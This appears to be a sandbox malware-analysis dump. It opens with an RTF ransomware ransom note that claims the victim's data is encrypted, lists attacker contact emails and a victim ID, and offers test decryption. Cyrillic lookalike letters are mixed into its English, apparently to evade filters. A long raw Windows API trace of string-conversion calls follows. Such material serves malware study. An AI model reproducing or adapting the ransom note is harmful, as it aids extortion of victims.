\\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n£Zº¢Vuê\x94 ë?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.864] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0052.864] GetLastError () returned 0x0 [0052.864] SetLastError (dwErrCode=0x0) [0052.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.864] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.864] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0052.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿìÓëOäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.864] GetLastError () returned 0x0 [0052.864] SetLastError (dwErrCode=0x0) [0052.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0052.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 